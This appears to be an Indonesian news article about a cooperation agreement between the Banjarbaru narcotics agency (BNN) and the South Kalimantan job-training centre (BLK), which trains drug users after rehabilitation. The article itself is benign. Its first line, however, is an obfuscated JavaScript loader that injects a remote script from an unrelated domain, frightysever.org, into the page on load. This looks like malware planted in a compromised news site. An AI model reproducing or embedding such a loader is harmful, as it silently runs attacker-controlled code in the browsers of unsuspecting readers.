(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Tidak hanya pencegahan dan mengantisipasi penyalahgunaan Narkotika, Badan Narkotika Nasional (BNN) juga turut membantu para pasien pecandu narkotika untuk produktif dan berfungsi sosial.
Hal ini dibuktikan lewat penandatanganan perjanjian kerja sama (MoU) antara Badan Narkotika Nasional (BNN) Kota Banjarbaru dengan Balai Latihan Kerja (BLK) Kalsel Kamis, (16/5) pagi. Penandatanganan kerjasama ini dilakukan oleh Kepala BNNK Banjarbaru AKBP Sugito dengan Kepala BLK Provinsi Kalsel Muzallifah di Kantor BLK Provinsi Kalsel.
Kepala BNN Kota Banjarbaru AKBP Sugito mengatakan bahwa kerjasama dengan BLK Provinsi Kalsel merupakan rangkaian kerja sama ini sebagai langkah untuk mendukung program pasca rehabilitasi kepada mereka yang terindikasi atau korban narkoba
“Jadi ketika pasien setelah melewati tahap rehabilitasi, mereka dapat melanjutkan kehidupan mereka dengan berbekal keterampilan yang dilatih oleh pihak BLK. Ini juga membantu mereka terlepas dari jeratam narkotika,” ujarnya.
Memang sejak tahun 2016 kerjasama dengan BLK Provinsi Kalsel telah berlangsung, namun untuk memaksimalkan program rehabitasi maka dilakukankanlah MoU pada tahun 2019 ini. Terhitung sudah ada 12 klien yang telah menjalani pelatihan BLK sejak tahun 2016 hingga tahun 2018.
“Hasilnya, mereka sudah bisa mandiri dengan membuka usaha sendiri dan ada juga yang bekerja di perusahaan,” lanjut Kepala BNNK Banjarbaru.
Sugito mengakui bahwa pihaknya tidak bisa bekerja sendiri untuk bisa melakukan program rehabilitasi dengan maksimal khususnya untuk tujuan pencapaian klien narkoba yang pulih produktif dan berfungsi sosial. Ia mengharapkan para pasien dapat kembali ke masyarakat dan bisa menciptakan lapangan kerja sendiri bahkan berguna bagi masyarakat yang membutuhkan.
Tercatat pada tahun 2019 ini, ada 36 pasien yang menjalani masa rehabilitasi. Ada tujuh yang memasuk pasca rehabilitasi. Tiga di antaranya sudah diarahkan untuk mendaftar ke BLK Provinsi Kalsel.
Setelah para klien pasca rehabilitasi BNN Kota Banjarbaru tidak begitu saja dilepas, pihaknya juga masih melakukan pemantauan dan monitoring. “Kita tidak lepas tangan begitu saja. Tetap akan kita pantau mereka. Khususnya kehadiran dan sikap mereka selama mengikuti pelatihan,” pungkas AKBP Sugito.
Kepala BLK Provinsi Kalsel Muzallifah di Kantor BLK Provinsi Kalsel menegaskan terbuka dan siap menerima para klien pasca rehabilitasi dari BNN Kota Banjarbaru. “Selama ini kerjasama berlangsung baik dan mereka yang sudah menjalani latihan bisa bergabung dengan lain,” katanya.
Meski begitu, sebelum diterima di BLKProvinsi Kalsel, mereka tetap mengikuti tahapan seleksi baik itu tertulis dan wawancara. Namun mereka lebih diprioritaskan asalkan minimal umur sudah mencukupi yakni diatas 18 tahun. (Rico)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More
KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More
KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More
This website uses cookies.